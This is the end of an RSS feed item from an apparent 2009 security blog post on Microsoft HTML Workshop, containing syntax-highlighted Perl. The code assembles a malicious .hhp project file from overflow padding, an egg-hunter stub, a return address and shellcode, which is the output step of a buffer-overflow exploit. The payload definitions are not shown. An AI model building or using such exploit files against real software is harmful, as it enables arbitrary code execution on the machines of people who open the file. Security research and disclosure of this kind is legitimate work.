    <span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt; s.hhp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">print</span> <span style="color: #0000ff;">$hhpprj_file</span> <span style="color: #0000ff;">$hhp_data1</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$ret</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$hhp_data2</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout4</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">close</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/microsoft-html-workshop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
